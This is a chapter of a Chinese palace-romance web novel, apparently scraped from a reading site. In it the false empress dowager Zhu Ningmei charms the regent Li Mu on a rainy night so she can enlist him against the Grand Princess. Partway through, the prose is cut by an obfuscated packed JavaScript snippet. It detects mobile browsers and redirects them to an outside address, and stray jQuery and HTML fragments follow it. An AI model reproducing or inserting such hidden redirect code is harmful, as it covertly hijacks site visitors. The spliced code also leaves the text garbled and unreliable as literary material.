29. 第 29 章
作品:《权臣强闯太后寝宫后》 朱凝眉心情沉重地回到安宁宫。
想到今晚要应付李穆,她无论如何也高兴不起来。
但回宫后,换下那身裹得她浑身不自在的白色衣裳,便发现她来了葵水。
喝下一碗甜滋滋的红糖姜汤,朱凝眉紧绷的额角立即变得松弛,肩膀也舒展了许多。
但悦容却担忧起来:“李穆会不会觉得娘娘在耍他?他若发脾气,娘娘该不会有危险吧?咱们还是把梅公公请来商量下计策吧。”
“放心,李穆虽性子急躁,却不至于气得动手把我掐死!”朱凝眉淡定地躺下,把热水袋捂在酸胀的肚子上,道:“我来葵水的日子没有定数,又不是故意要骗他。”
每次来葵水前,朱凝眉都要痛几日。
但今日这葵水来得毫无预兆,大约是被大长公主气出来的。
与大长公主吵架,朱凝眉看似冷静、从容,实则心中的恐惧已经被大长公主点燃:她不能让榕姐的身世曝光在李穆面前;也不能让李穆知道她是假太后。
至少现在,她要对付的敌人是大长公主,而不是李穆。
放眼整个皇宫,只有李穆能为她所用。
她想对付大长公主,却不能求助大哥,因为她不想让大哥蹚入这浑水中来。
她也不能求助小皇帝和梅景行,因为大长公主是小皇帝的姑母,他们是血脉至亲。哪怕小皇帝明知大长公主在谋划什么,他也不愿动大长公主。
那日在他的生辰宴上,陆憺见大长公主掉泪,立即跑到她身旁安慰。
大长公主是陆憺唯一的亲人,要挑唆他们彼此仇恨,实在太难。
她何必舍近求远,费力不讨好。
思来想去,李穆最适合为她所用。
榕姐是他女儿,让他去报仇,是给他赎罪的机会!
虽然今日来了葵水,但朱凝眉也不想随便敷衍李穆。
李穆难缠得很,她得打起精神才行。
朱凝眉躺到傍晚,小腹坠痛感减轻些,才起来梳妆打扮,布置宴席。
这五年来,她都是在给死人布置祭祀的宴席,这还是第一次给活人布置。
但终归都是做给活人看的,也没多大的区别。
她布置好宴席,又开始精心打扮自己。
李穆喜欢她这张脸,她得让李穆看到她这张脸后心软,没办法生气。
然后,她才能在他心情没那么糟糕的时候,提起大长公主的事。
白日还是晴空万里,到了晚上,居然下起暴雨。
李穆沐浴焚香剃虚,赶往安宁宫,却在路上被暴雨淋得浑身狼狈。
朱凝眉打扮得温温柔柔的模样,撑着伞,在安宁宫大门口等他。
隔着很远,便看见李穆带着一群人,浩浩荡荡地走来。
隔着雨幕,看清楚她在等待自己,怕她等得急,李穆从侍卫的伞下钻出来,大步流星地钻到她的伞下。
冷意自李穆身上袭来,她忍不住打了个喷嚏。
李穆皱了皱眉,从她手里接过伞。
两人一起踏入院子,李穆手里的伞完全遮住朱凝眉,没让她淋到一滴雨,而他却大半个身子都在伞外。
入了安宁宫,朱凝眉领着李穆去沐浴。
她已经料到李穆有可能会被淋,早早叫人准备好热水。
暴雨天,热水蒸腾,美人香气扑鼻。
李穆心看懂了她的邀请,握住她的手,紧张激动得嗓音颤抖起来:“一起洗?”
她踮起脚,勾着他的脖子,在他湿漉漉的脸上落下一吻。
李穆魂都被她勾走。
却听见她小声说:“不行,我葵水来了。我并非有意戏弄你,上午去找你的时候,身上还是利索的。回来后,才发现来了葵水。还有上回的事,我也得跟你说声抱歉,当时我不该没头没脑地拿着剑就冲进去,质疑是你绑走了我兄长和榕姐。”
她咬着唇,眼睛水汪汪地看他:“李穆,这两件事,你都不会怪我的,对吧?”
李穆脸色说不上难堪,语气也还算温和:“但你兄长和……出事之后,你第一个想到的人却是梅景行。你很信任他?”
“你日理万机,我哪敢随意打扰你?梅景行伺候我这么多年,我用顺手了,有什么不对?”
朱凝眉帮李穆解开湿漉漉的衣服,嗓音娇甜,脸颊上的绯红晕染到耳后:“人人皆知,你才是我最大的靠山。”
李穆拍开她的手,自己动手解衣:“你出去等,还是在这里等?”
朱凝眉看不出他有没有生气,但她葵水来了,久站肚子坠疼,便低声道:“我去外面等你。”
李穆很快沐浴完,换了身白色寝衣出来。
桌上摆着精致的饭菜和酒,屋内装饰着各色花朵,但她却没有坐在桌旁等待。
伺候的人,都被打发走,寝殿里空荡荡的,她不知去了哪里。
李穆心里莫名一沉。
但一转身,便见她抱着热水袋闭着眼睛躺在软榻上,脸色苍白,额头冒汗。
李穆走过去,温柔地抱起她,让她躺在自己怀里,手在她肚子上打着圈,轻轻揉着。
这手法,一看就是跟太医学的。
李穆身上的寝衣是她准备的,料子很薄。
她的脸靠在他胸口,能感受到寝衣里面的肌肉经络走向。
听到她葵水来了,李穆非但没有生气,反而表现得很温柔,朱凝眉有些惊讶。
她调皮心起,冰凉的手指顺着他的袖口往上滑,去摸他手臂。手臂硬邦邦的,捏都捏不动,不好玩。
李穆沉着脸,把她的手拔出来,定眼看她:“老实点!”
她冲着他笑,笑得温柔。
“下雨了,外面好冷啊。”她的手被锁在他干燥的手掌内,不能继续作恶,只好用脸蹭了蹭他的胸口,然后娇气地道:“但你的手很暖。”
她像一条没有骨头的蛇赖在他身上,双腿弯曲着,眉眼舒展,看似温驯。
他面无表情地抚摸着她软软的肚皮,看着她满脸算计的模样,默默在心里叹气。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593581|185094||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
她显然有事求他,才会这样好说话。
李穆逼着自己不去想她为何讨好自己,否则他会更生气。
他生气,就会口不择言。
而她脾气和耐性都差,几句重话也听不得,必定会对他睚眦目裂,继而说出更难听的话。
她脾气这样差,真不知先帝这些年是如何忍耐下来的。
这么想之后,李穆成功说服自己:先帝忍得,他也忍得。
“你怎么不说话?”朱凝眉见他皱眉不语,低声问他。
他冷着脸不说话的时候有些骇人,眉眼中依稀能看出来些许从战场上带回来的杀伐决断和心狠手辣。
朱凝眉看着他那张冷硬的脸,身子往上游,在他喉结滚动的地方落下一个湿润的吻。
李穆身子一颤。
他生气了,扶她坐好,自己站起来,借着整理寝衣的动作遮住不堪。
朱凝眉快速瞟了一眼:峰峦雄伟,颇为壮观。
可惜这只纸老虎,与他身上的物件不大匹配。说起狠话一套又一套,真给他胡作非为的机会,居然又害羞起来。
李穆冷眼瞪着她。
疼出满头大汗,还不肯老实,她脑子里装着些什么?
李穆冷冷道:“你明知葵水来了难受,还去外面吹冷风做什么?”
朱凝眉手掌垫着下巴,目光迷离,语气温柔似水:“我想让你高兴呀!谁让你总是生气。”
她目光幽幽地,还带着几分埋怨。
李穆微微挑眉,冷眼看着她纤细的手指,爬上自己的衣裳,轻轻地,一下一下,往她身旁拽。
衣裳晃动间,那不堪入目处,便再无遮拦。
他皱着眉,气得拍开她的手。
可她竟然趁机拽住他干燥的手,温柔地哄着他:“坐下嘛,我又不吃人。扭扭捏捏的,像个刚拜完堂的大姑娘。”
李穆被她轻轻一拉,往前踉跄一步,从善如流地坐回她身旁。
她动作熟练地扑进他怀里,搂着他的腰,喟叹了一句:“真暖和啊,你的身子像个火炉似的,冬日里抱着你睡,一定很舒服。”
李穆低头,闻了闻她的头发。
她身上有股淡淡的白薇香气,闻之令人心安。
她抬起头,湿漉漉的圆眼睛看着他,指尖轻轻在他背脊上打着圈,慢慢往下移,却又胆怯地停下。
半晌后,她的手缓慢地挪到他胸前,两根手指轻捏着他白色寝衣边缘。
李穆冷眼看她下一步如何行动。
可她却停下,从他怀里坐起来,一本正经地与他商量:“李穆,我不想当个言而无信之人,我有别的方法让你高兴。”
她瞪大眼睛看着他,满脸期待:“如何?”
李穆胸膛起伏,闭上眼睛,再三告诉自己别生气。
“李穆?”她摇晃着他的衣袖,撒娇。
“这种话是谁教你的!”李穆睁眼,用力甩开她的手,怒道:“老子这就去把梅景行给宰了,成天不干正事!”

